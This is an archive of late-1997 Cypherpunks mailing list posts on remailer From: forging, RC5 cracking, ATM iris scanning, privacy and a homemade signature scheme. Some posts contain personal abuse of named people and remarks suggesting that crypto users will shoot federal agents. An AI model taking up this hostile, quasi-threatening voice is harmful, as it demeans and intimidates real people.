>masses will there be enough value generated within the secure region
>to be worthwhile.  Cypherpunks who can only trade and work for each
>other will not be able to generate sufficient economic growth to survive.

See above. Whomever you are, you have a poor understanding of economics.


>In an increasingly interdependent world economy, the only hope
>for cypherpunk technologies to succeed is to extend them as far as
>possible throughout society.  This includes reaching out to foreigners
>and minorities, to the dismay of some cypherpunks.  We must oppose the

"Foreigners"? Ted Turner would have you fired for your xenophobia.

As for "reaching out to minorities," I am a minority member myself. In
fact, my ancestors came from Africa.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cvhd@indyweb.net
Date: Mon, 1 Dec 1997 08:08:10 +0800
To: Cypherpunks@Algebra.COM
Subject: RC5-56 and 2048 Bit Keys
Message-ID: <3.0.5.32.19971130185929.00859920@indyweb.net>
MIME-Version: 1.0
Content-Type: text/plain



With the RC5-56 having been busted, I was wondering what the going
estimated crack time was for a 2048 bit RC5 key like the one available with
SecureWIN?
TIA





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 1 Dec 1997 09:51:05 +0800
To: cypherpunks@toad.com
Subject: Re: Happy Thanksgiving and the Impending Murder of Usenet
In-Reply-To: <m3btz2xk7t.fsf@windlord.Stanford.EDU>
Message-ID: <02B1ge13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Russ Allbery <rra@stanford.edu> writes:
> > So why doesn't he? For the same reason I often eat out even though I'm a
> > pretty good cook - I know how to do it, but my time can be better spent
> > doing something creative. Re-coding exploits for well-known holes, for
> > which a dozen explots already exists, is not creative.
>
> Amen.

Russ hees and haws; just a couple of days ago he was whining how we shouldn't
publish exploits because users should be forced to write their own exploits.

> > Russ clearly believes in "security by obscurity", so heinvents bogus
> > arguments to waste everyone's time.
>
> Russ does?  There are some forms of "security via obscurity" that actually
> work or which have some benefit (hell, password systems are just security
> via obscurity at their core), but no, I don't believe in it as a general
> principle.

That's from the same bootlixcking Cabal lackey who was whining and begging
me not to release my cancelbot.

[rfc 1036 rewrite]
> > (The main purpose of the rewrite, by the way, is to incorporate some
> > "anti-spam" language, and to remove the embarassing prohibition against
> > forged cancels.)
>
> Actually, the main purpose looks more to be to roll in a bunch of headers
> that had been in informal use, clarify a bunch of the language, resolve
> differences between the mail and news formats, and so forth.  Brad's
> pushing hard for a variety of authentication measures, including an
> authenticated Path header, and X-Auth will likely be rolled in in some
> form.

Bullshit. I'm on the list, I see the traffic, and all the whining about
"spam" coming from the wannabe content censors.

> > One Good Thing that might come out of masive attacks is the switch to
> > IPv6.
>
> Maybe.  That'll be a really hard one to get going.

But it would actually make the net better in many ways.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 1 Dec 1997 02:46:31 +0800
To: cypherpunks@toad.com
Subject: Re: [RePol] Denizen
Message-ID: <199711301839.TAA12277@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Rabid Wombat sayeth:
>Harrasment of Dr. Grubor will be a demonstration sport during the next 
>Olympic Winter Games.

Ah, another easy gold for the U.S. Would the people who had him disbarred be
allowed to compete, or are they considered "professionals" in this event?

GruborMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 1 Dec 1997 09:57:51 +0800
To: cypherpunks@toad.com
Subject: Re: [RePol] Denizen
In-Reply-To: <Pine.LNX.3.96.971130221445.1837A-100000@bureau42.ml.org>
Message-ID: <JiD1ge17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"David E. Smith" <dave@bureau42.ml.org> writes:

> > To verify that Dave Smith filters the contents he doesn't like (and assumes
> > full responsibility for the content he does pass through), conduct this
> > simple experiment: try sending an ASCII art article criticial of Timmy
> > Mayonaise via Dave Smith's bureau42 remailer and see if it shows up.

> Although I know that, at this stage, you have become convinced that I am in
> fact the AntiChrist (TM), I encourage such "experiments." The only people on
> my blocklists are those who have expressly requested to be there.

I've tried it and it doesn't go through, proving again that David Smith
is a pathological liar, a content censor, and a bootlicking BATF lackey.

Lock and load.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 1 Dec 1997 08:55:49 +0800
To: cypherpunks@cyberpass.net
Subject: Defense of the Homeland
Message-ID: <1.5.4.32.19971201005450.00738e58@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The National Defense Panel is to release its study tomorrow,
"Defense of the Homeland," which recommends that Defense 
focus on domestic protection from weapons of mass destruction:

   http://jya.com/ndp-wmd.htm

In line with this, and Tim's NBC prognostications, the Department
of Health and Human Services Office of Emergency Prepareness
has a new Web site which describes its domestic counter terrorism 
program:

   http://www.oep_ndms.dhhs.gov/oep/terrorism/terrorism.html

These tidbits derive from the new list "Terrorism-L," which offers
terrifying scenarios for apocalypse by friend and foe and voodoo 
doll, and survivalist tips for first responders: "There's nothing we
could do."

To subscribe, send E-mail to listserv@mediccom.org with the 
following text in the message body: SUBSCRIBE terrorism






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Mon, 1 Dec 1997 02:58:07 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Death Penalty Expanded
In-Reply-To: <v03102805b0a6d8a372fc@[207.167.93.63]>
Message-ID: <Pine.BSF.3.96.971130194057.3548A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 30 Nov 1997, Tim May wrote:

> 
> What's next, the death penalty for unregistered crypto?
> 
> No doubt Swinestein plans to introduce her own version of this in Amerika.
["Own a gun, be 'put to sleep'" law elided]

And people said my old prediction that we'll see 10 year sentences for use
of illgal crypto were extreme. Swinestein must be drooling at the
prospect. As usual, the masses will love the idea, as long as it (might)
save just one child.

On a completely unrelated note, is there some interest in starting up a
"Cypherpunks Nuclear Physics Study Group"? I recently finished reading
"The Curve of Binding Energy". Fascinating book.

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 1 Dec 1997 09:13:11 +0800
To: mail2news@basement.replay.com
Subject: Re: Pasting in From:
In-Reply-To: <Pine.LNX.3.94.971130135656.6085F-100000@neptune.chem.uga.edu>
Message-ID: <d2fb24d6e9a80e7f6a5f5c4146d2845f@anonymous.poster>
MIME-Version: 1.0
Content-Type: text/plain



gburnore@netcom.com (Gary L. Burnore) wrote:

> : Presently, cracker (and some other remailers) do not allow pasting in a
> : From: header. As I have stated before, the purpose of an anonymous
> : remailer is to be anonymous, so pasting in a From: seems contradictory.
> : However, as has been pointed out, a lot of people like to do it to avoid
> : sending through nymservers, or at least psuedo-identify themselves.
> : 
> : So, I propose a compromise: What if I enable pasting of From:, but if a
> : From: header is pasted in, a short disclaimer is added to the beginning of
> : the body of the message. Would that mess anyone up? I think this would be
> : sufficient to avoid most problems with "forging".
> 
> Not a good thing.  If you allow a valid address to be in the from line, the
> results (regardless of the inside of the message) will be UCE baiting.
> Posting a message to an mlm type group with someone elses' name in the from
> line.  The address cullers would not read the post to know the address was
> false.
> 
> A better comprimise would be to allow the From line to be altered but not to
> form a valid email address.   Like name <at> site <dot> com.
> 
> At least make sure it doesn't allow the from line to be modified to a name in
> your blocked list.

Maybe when other ISPs, like Netcom where Mr. Burnore is posting
from, impose similar restrictions it might make sense to implement
them at the remailers as well.  (Remailers might well be considered
the ISP of last resort for those who consider the risks of posting
controversial ideas from a traceable address to be an intolerable
risk.)  Remailer users should not be considered second class
citizens, nor have their capabilities (such as header pasting)
crippled to appease anyone who makes a demand.  Right now, Netcom
users can and do have the capability to put just about anything in
the From:  line (or other header lines) of their usenet posts.
Presumably if that capability were such an open invitation to
"forgery", Netcom would either have disabled it or Mr. Burnore would
have cancelled his Netcom account in protest.  Why single out the
remailers?

Andy Dustman's suggestions seem quite reasonable.  When something is
loaded with disclaimers that the identity of the author has not been
authenticated, then it's not "forgery" -- not anymore than when
celebrity impersonators on Saturday Night Live are engaging in
"fraud" for pretending to be President Clinton, etc.

If Gary Burnore is so concerned about "forgery", maybe he ought to
start using that PGP key he keeps advertising in his .sig to
actually sign his posts.  Unless he does, he's still vulnerable to
forgery from his fellow Netcom users who are still allowed to insert
arbitrary From:  lines in their Usenet posts.  Actually, forging a
post with Gary Burnore's name and address in the From:  line can be
much more convincingly (no disclaimers) done from a throwaway
Netcruiser account, and with less effort than learning the proper
protocol to do it through a remailer.

Munging of addresses is better left to the discretion of the poster.
Let those who perceive a need for this "capability" use it.  At
least one of the mail2news gateways implements that as an option for
those desiring it.  I'm in favor of leaving that choice with the
poster.

Mr. Burnore made a similar "forgery" complaint here several months
ago and was advised to PGP sign his posts and request source-level
blocking if he perceived forgery to be a problem.  He has evidently
not taken the trouble to implement the first suggestion and,
assuming he took the second suggestion, he's posted no evidence to
suggest that it's not been effective.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 1 Dec 1997 12:23:29 +0800
To: Zooko Journeyman <cypherpunks@Algebra.COM
Subject: Re: launch memes
In-Reply-To: <199712010026.BAA29670@xs1.xs4all.nl>
Message-ID: <3.0.3.32.19971130200117.0075879c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:26 AM 12/01/1997 +0100, Zooko Journeyman wrote:
>Cypherpunks reject politics.  They know that it is unnecessary,
>counter-productive, and wrong.
..
>But cypherpunks don't fixate on their enemies.  They have more
>important things to worry about.
>-------
>
>Cypherpunks think strategically.  Cypherpunks act strategically.

But understanding the politics and the enemies do give you 
some idea of what kinds of strategies you need to develop...
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 1 Dec 1997 09:33:38 +0800
To: cypherpunks@toad.com
Subject: Re: If you fought to defend your country...
In-Reply-To: <3.0.3.32.19971130155457.006c6c5c@popd.netcruiser>
Message-ID: <89D1ge20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Jonathan Wienke <JonWienk@ix.netcom.com> writes:

> At 09:03 AM 11/30/97 +0000, attila wrote:
> >    To be a ruler of men, you need at least 12 inches....
>
> Yeah, but 18 inches gives a much tighter shot pattern...

Only 2 inches are required to reach the prostate.  Anything over that
is just windows dressing.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 1 Dec 1997 12:16:05 +0800
To: cypherpunks@Algebra.COM
Subject: Re: If you fought to defend your country...
In-Reply-To: <Pine.BSI.3.96.971130084225.2104A-100000@usr07.primenet.com>
Message-ID: <3.0.3.32.19971130200943.0073b3f0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




>>     Stanford was in Palo Alto the last time I looked... is the "City of
>>     Stanford" a new chartered entity inside Palo Alto? to permit "real"
>>     law enforcement, not just hired guns?

At 02:08 PM 11/30/1997 -0800, Eric Murray wrote:
>Stanford used to be a real town.  Palo Alto annexed a number of
>surrounding smaller towns in the 50s.  The town of Mayfield is one; it
>consisted of the area just south and east of Stanford, where California
>street is now.

I'd been under the impression that Palo Alto didn't _want_ to have
the campus within its boundaries - too much risk of students voting
in city elections while living in the dorms.
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Mon, 1 Dec 1997 03:16:59 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Freemen and Serfs
In-Reply-To: <v03102806b0a6dbb52bae@[207.167.93.63]>
Message-ID: <Pine.BSF.3.96.971130195826.3548B-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 30 Nov 1997, Tim May wrote:
> 
> Sure, and I've said the same thing many times. The governments of the world
> are cracking down on "illegal thoughts," and illegal vegetables, illegal
> defense items, illegal television programs, and on and on. At the same
> time, bootleg channels are proliferating, copyright is being skirted, money
> laundering is exploding, and on and on.

I am told that the recent criminalization of warez has led to a rush on
crypto by the warez crowd. A certain Internet juke box I am aware of and
which is serving months worth of uninterupted MP3's just might add SSL
with client certs. 
 
> The crackdown has the effect of making the sheeple even more obedient and
> making the adventurers (the wolves?) even bolder. Technology works for
> those who use it.
> 
> Very Nietzscheian.

Futhermore, if using crypto gets you the gas chamber and putting a
bullet through the head of a fed gets you the gas chamber, it stands  to
reason that more otherwise benign crypto users will be willing to put
bullets through the heads of feds. See the war on illegal vegetables.

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 1 Dec 1997 12:38:13 +0800
To: cypherpunks@toad.com
Subject: Re: Pasting in From:
In-Reply-To: <Pine.LNX.3.94.971130135656.6085F-100000@neptune.chem.uga.edu>
Message-ID: <3.0.3.32.19971130202253.007595d8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>> : So, I propose a compromise: What if I enable pasting of From:,
>> : but if a From: header is pasted in, a short disclaimer is a
>> : added to the beginning of the body of the message.
>> : Would that mess anyone up? I think this would be
>> : sufficient to avoid most problems with "forging".

News and email are two separate cases.  For news, there's almost no reason
for a poster who wants his real name and address in a message to use
an anonymous remailer; maybe something like posting with your Juno email
on the message rather than your work email.  But you can put your
real email address in the message body if you want to do that,
so not having that feature in a remailer is no restriction on 
the legitimate user.  There are lots of reasons to forge someone else's name :-)
So if the remailers don't support From: pasting, it's no loss.
Similarly, for Reply-To: and Sender: and Path: and Received:
and maybe a few other occasionally-forged header fields.

Adding a disclaimer to the beginning of the message is no problem;
adding it to the headers is useless, since almost nobody reads them,
especially the kind of shoot-from-the-hip flamers you want to avoid.

For email, perhaps you don't want the address to be visible during
the first few hops in an encrypted remailer path, but you do still 
want one of your addresses to be there for the recipient.
Again, you can put it in the message body yourself.
There's a little less risk of pasting in headers on mail to individuals,
but forged mail to mailing lists and mail2news relays is still a problem,
and you definitely can't expect remailers to recognize mailing lists.
There are also minor problems, like forging the From: address on mail
to president@whitehouse.gov, which are better avoided this way
even if you do also add disclaimers.

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@clueserver.org>
Date: Mon, 1 Dec 1997 12:40:08 +0800
To: Lucky Green <shamrock@cypherpunks.to>
Subject: Re: If you fought to defend your country...
In-Reply-To: <3.0.3.32.19971130155457.006c6c5c@popd.netcruiser>
Message-ID: <199712010530.VAA04238@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:15 AM 12/1/97 +0100, Lucky Green wrote:
>
>On Sun, 30 Nov 1997, Jonathan Wienke wrote:
>> 
>> Yeah, but 18 inches gives a much tighter shot pattern...
>Not by much. [I prefer the 14'' HK "Entry" model].

I always have prefered the 1 oz copper slugs.  Shot dispersal is tighter if
you have only one shot.

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Mon, 1 Dec 1997 13:45:20 +0800
To: cypherpunks@cyberpass.net
Subject: Big Brother Is Watching ATMs
Message-ID: <3.0.3.32.19971130213445.006ad57c@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I just heard that a bank card company has just released a program for using
photos of the iris in people's eyes as a biometric ID to replace people's
PIN codes for ATM / credit cards.  What I found really interesting is how
they plan to implement it.  As people use the ATM, they are photographed. 
(Every ATM has a security camera.)  Over time, as people use the ATM, the
security camera images are composited to produce a high-quality image of
their irises, which is coded and placed in their account information.  Once
this is accomplished, when a card is inserted into the ATM and the security
camera gets an iris image that matches the account sufficiently closely,
the user can conduct transactions without entering the PIN code.  People
affected by this will merely receive a letter that under certain
circumstances, entering the PIN is no longer necessary, but this is not a
security problem.

This scenario may not be a security problem, but it certainly poses a
privacy problem.  Given the frequency that the average Joe Sixpack uses the
ATM, it is only a matter of time before the government mandates a
nationwide eyeprint ID database to catch ATM and credit card theives, money
launderers, tax cheats, and other undesirables.  Perhaps the eyeprint could
even replace or supplement the SSN as the unique taxpayer ID key for tax
and other purposes.  Of course, given the fact that ATMs have had cameras
from the start, this theoretical eyeprint database could already be under
construction.  How's that for paranoia?  >:-(

Of course, there are a few ways to beat this, such as mirror sunglasses,
(which would only be useful while alternative credentials to eyeprint ID
are still available) and contact lenses, (which would have to be carefully
oriented so that the same side of the lens was always up, or the fact that
you are wearing contacts and are therefore a Suspicious Person(tm) would
become obvious to the system) and of course intraocular implants of various
types.  Of course if the implant's power-on LED gives your eyes a constant
Satanic red glow, you may be flagged as a Suspicious Person(tm) anyway.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBNIJMc8JF0kXqpw3MEQJEiACdH+0zupstOe2EK3nO+xkF6nY4SOsAnAuO
d/cf2DBRj3tiSUHgBaQHOgq9
=LxX3
-----END PGP SIGNATURE-----


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

Never sign a contract that contains the phrase "first-born child."

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David H Dennis <david@amazing.com>
Date: Mon, 1 Dec 1997 14:10:31 +0800
To: declan@well.com (Declan McCullagh)
Subject: Re: "Faulty Filters" report; anti-rating free speech alliance
In-Reply-To: <v03007806b0a7f42e9fab@[204.254.22.168]>
Message-ID: <199712010558.VAA25375@remarkable.amazing.com>
MIME-Version: 1.0
Content-Type: text/plain



> EPIC's study was based on a side-by-side comparison of an unfiltered
> Internet search engine (AtltaVista) with a filtered search engine.
> According to Net Shepherd, Inc., its Family Search retrieval service
> screens out material that is "inappropriate and/or objectionable for
> average user families."  EPIC tested both search engines using such
> search phrases as the "American Red Cross," the "National Aquarium," and
> "Thomas Edison."  The study found that the filtered search engine
> typically blocked access to 99 percent of the documents containing those
> phrases when compared with results returned by AltaVista.

Okay, I had to try this one out for myself, and I had a perfect search
term, one I had used before with some success:  megayacht .  A megayacht
is a boat over roughly 100 feet in length, generally costing several
million dollars.  I remember dimly a fascination with things big and
powerful in my childhood, so I figured it would be an excellent search
term - especially since following a search for these terms produced
absolutely no offensive material whatsoever (*).  It turns out that,
for some reason, people who talk about megayachts don't seem frightfully
sex-mad (at least while talking about megayachts), and few could find
any offensive material in descriptions of super-rugged hatches, doors
and shore power converters.

Here's a typical page I found in AltaVista but not Net Shepherd:

(WARNING: If you find a charter rate of $ 85,000 plus a week offensive,
DO NOT under any circumstances click on the link!)

http://www.superyachts.com/bigeagle/index.htm

An admittedly cursory view of the results of the search from Net Shepherd
shows the reason for this little problem:  Each response was apparently
indiviually rated by Net Shepherd's staff.

Yikes.

Have they ever heard of sysiphus?  (And can I spell him?)

D

(*) I suppose some people would say that a megayacht is evidence of
obscene wealth.  In that case, though, Net Shephard should have censored
all occurances of the word, which it did not do.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Mon, 1 Dec 1997 06:35:38 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [RePol] Denizen
In-Reply-To: <B6Ryge1w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.96.971130221445.1837A-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



> To verify that Dave Smith filters the contents he doesn't like (and assumes
> full responsibility for the content he does pass through), conduct this
> simple experiment: try sending an ASCII art article criticial of Timmy
> Mayonaise via Dave Smith's bureau42 remailer and see if it shows up.
Although I know that, at this stage, you have become convinced that I am in
fact the AntiChrist (TM), I encourage such "experiments." The only people on
my blocklists are those who have expressly requested to be there.

dave





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 1 Dec 1997 06:08:57 +0800
To: cypherpunks@Algebra.COM
Subject: Minsky skeptical of privacy
Message-ID: <199711302158.WAA03654@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Bob Hettinga wrote that Marvin Minsky wrote:
>>There's always a plausible reason that can be used to override
>>whatever privacy policies and safeguards are designed into such a
>>system.
>
>If the reasons really are plausible, then those overrides should be
>added to the system design.

There is a curious belief implicit in this statement.  Nobody wants a
backdoor in their own privacy.  This means that the overrides will
have to be mandated by law.

Thus, what Minsky is arguing against is the right of people to protect
their own privacy.

>Perhaps, instead, we should try to design tracking systems that
>include public review mechanisms -- so that whenever anyone (e.g.,
>your employer) accesses your record against the privacy policy,
>they'll be subject to legal sanctions and damages.

It is possible that Minsky is unaware of how ineffective these sorts
of laws are.  Today we have many laws regarding financial secrecy and
the like.  However, there are people who are able to get this sort of
information fairly routinely.  These people tend not to be poor.  They
tend to be close to employers.  The tend not to advertise what they
do.

Not to mention the fact that legal systems and governments can flip
into bad modes where they exploit the authority with which they have
been entrusted.  It is somewhat naive to claim that any government is
not prone to this and that it hasn't happened repeatedly throughout
all of human history.

>Ed Fredkin once asked a number of people how they would feel about a
>new device with which you could select almost anyone in the world,
>and make the device produce a loud noise near them.  They all
>objected angrily.  Then Ed said, "It already exists.  It's called the
>telephone."

This is a cute line and I'm sure it was a hit with the crowd, but
telephones are a major problem.  We can tell how much illegal
wiretapping is going on by the which authorities by how loudly they
scream when people - people who have not been tried or convicted of
any crime! - start encrypting their conversations.

Incidentally, does anybody know what percentage of the research
funding Marvin Minsky has used in his career was directly or
indirectly related to the defense establishment?

The interesting thing about the privacy "debate" is that there is an
exceptionally high correlation between opposition to privacy and the
consumption of public money.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Minsky skeptical of privacy
To: cypherpunks@algebra.com
16A5942B6EED349ECF4594C784DFD177 [Cantsin Protocol No. 1]
AF823675BFB992A1CD9CD2EEBC5CDAE4041E6F06
9AA5B934BC5ED71F90FE4E6CB2030FB8627F9162
-A24 A24
2445FA025705B807FB50B7D9E8E8658E7939CC7C2D29582AA0C33925C995406D11229EC629076B43C62E55A9CA8E9DB49BF431CF55F27290E8FCA8577A520DC29814B02E4C188BD669B1B997DF7452AF7043CA0EB27E719060A32D47E65F372C24515C7E05EE55DF5FC381A79815626F8A7A93568F008A11BF03BBCEFEB6B3E2815F115B9824CF9453BF256FB66639E84630A446FD8263B4D26FDEF9CAE6D60A4D765DFFC14CFB320CA2C62E7DF08D43102B3BAF85792007A7F63DBE06DB8BF456D06DBFB7B1E8E2E54F5F2B4250A413777515AD075EB0FC86BD8293C700CBC1A18C9A8D7F07DC70AFEFF114C240CFBC01619E0AD17C18260F90BD505F6C0CC5
8AED7D26D35148B145EA316145E9400F1FDBDA8E902658B55D3BED978FC9A02561C4AFC5D740C5BA8AF04095513D514B4A2317B716BA8CDFCE0F2854723AD8DCAEA22A6C04C87DA81D51E06930BE1B2A8B54318D682263855AC0448A545BD165918BC84EEF0E39121C9A1A574D1F1BF76ACE3107CAA56209AD993F75FEBF602D1F883510CA74ABA93A2A920F43997C92FC801FE49575E0F2A6C212E9BD17908EFDF6207AC4E7C291B36EACE55E79B361D63AEB694DC34264131CF2EC78E1805C32261C1299F3D0FFEEB0AD08B208A26DA5BA8DC831A29EC560E458F7E2D3B9D8C15374054606580C47B45D25EB59E6960E22C794524CEFF598FBA6004055F8EF






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 1 Dec 1997 12:18:21 +0800
To: mail2news@basement.replay.com
Subject: Re: Pasting in From:
In-Reply-To: <Pine.LNX.3.94.971130135656.6085F-100000@neptune.chem.uga.edu>
Message-ID: <3eed4fe6512e0a478e3afd83b7b3d240@anonymous.poster>
MIME-Version: 1.0
Content-Type: text/plain



no@no.spam ((r)Old Crab(r)) wrote:

> >Andy Dustman wrote on Sun, 30 Nov 1997 14:03:39 -0500:
> >
> >>So, I propose a compromise: What if I enable pasting of From:, but if a
> >>From: header is pasted in, a short disclaimer is added to the beginning of
> >>the body of the message. Would that mess anyone up? I think this would be
> >>sufficient to avoid most problems with "forging".
> >
> >Can't put the disclaimer in a Comments: header?
> 
> Why make a test ???
> Put the disclaimer *every_time*.
> People who want to authenticate their nym account have the thing
> signed by the nym-server...
> That if you consider that it is not *obvious* to everybody
> that the "From:" from a remailer might be fake...
> That BTW *any* "From:", from remailer or from anywhere;
> might be fake...
> Only PGP or such allows to be easily sure of the sender.....

That's absolutely correct.  That disclaimer should be implicit with
EVERY post.  Attaching it to anonymous posts, while technically
correct, gives the false implication that posts without such
disclaimers should be presumed to be genuine.  That's a dangerous
assumption.

Anyone who wants to post an article with a phony From: address can
do it far easier with a throwaway ISP account and news posting
software that can be configured with an arbitrary From: address
than going to the trouble of doing it through a remailer.

Could it be that the enemies of privacy and freedom, if they can't
ban anonymous posting altogether (at least not right now), would
like to make sure that anonymous posts are stigmatized with the
cyber equivalent of a yellow star?  If some control freaks are to be
believed, the only people who post anonymously are either "abusers",
"cowards", or otherwise have sinister motives for not promiscuously
broadcasting their names and addresses worldwide with every post.

My theory is that what really galls them is that the precursor to
the U.S. Constitution which guarantees freedom of speech (including
anonymous speech) was the ANONYMOUSLY PUBLISHED "Federalist Papers",
and they want to make sure it doesn't happen again. <g>

> That *everybody* knows that should be controlled
> when one getting a Usenet licenceá :-))

Don't give the Usenet control freaks any ideas!  <g>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 1 Dec 1997 12:20:07 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Digital Signatures
Message-ID: <fbbcab88ba06fee2a7cfdfe70620c8e5@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Monty Cantsin writes:

> You can't see it up here, but this is a signed message using a
> protocol which is modestly titled "Cantsin Protocol No. 1".
> Suggestions for improvement are most welcome.

A very interesting idea!  Please consider the following suggestions if
you like, or feel free to ignore them.

One problem with signatures which have no indication at the top is that
two passes over the data are necessary: the first to scan and find the
start-of-signature indicator, and another to go back and calculate the
hash.  Signatures such as S/MIME and PGP have enough information at the
top of the signed message to allow one pass processing.

> The first line is "16A5942B6EED349ECF4594C784DFD177 [Cantsin Protocol
> No. 1]".  The hexadecimal number was chosen randomly and is the
> indicator that this is a Cantsin Protocol No. 1 signature.  The number
> was chosen randomly and it is somewhat unlikely that anybody else will
> accidently choose it.

You might want to think about what happens if the document itself contains
(maliciously, or perhaps because it is talking about your signatures)
the string in question (as yours does and this one does as well).  This
could throw off an automated signature checker.

> The second line in the signature is an SHA1 hash of the public key.
> The hash is computed on the concatenation of the hexadecimal ASCII
> forms of p, g, and y respectively.  There should be no leading zeros.
> (Remember to leave off the newline!)

Presumably you could use the key hash to look up the key to use for
verifying the message.  This has a mild denial of service attack.  Someone
else could create a key with different boundaries between p, g, and y but
which would create the same string as this concatenation, and therefore the
same hash.  If you left the "p: ", "g: ", and "y: " in place it would
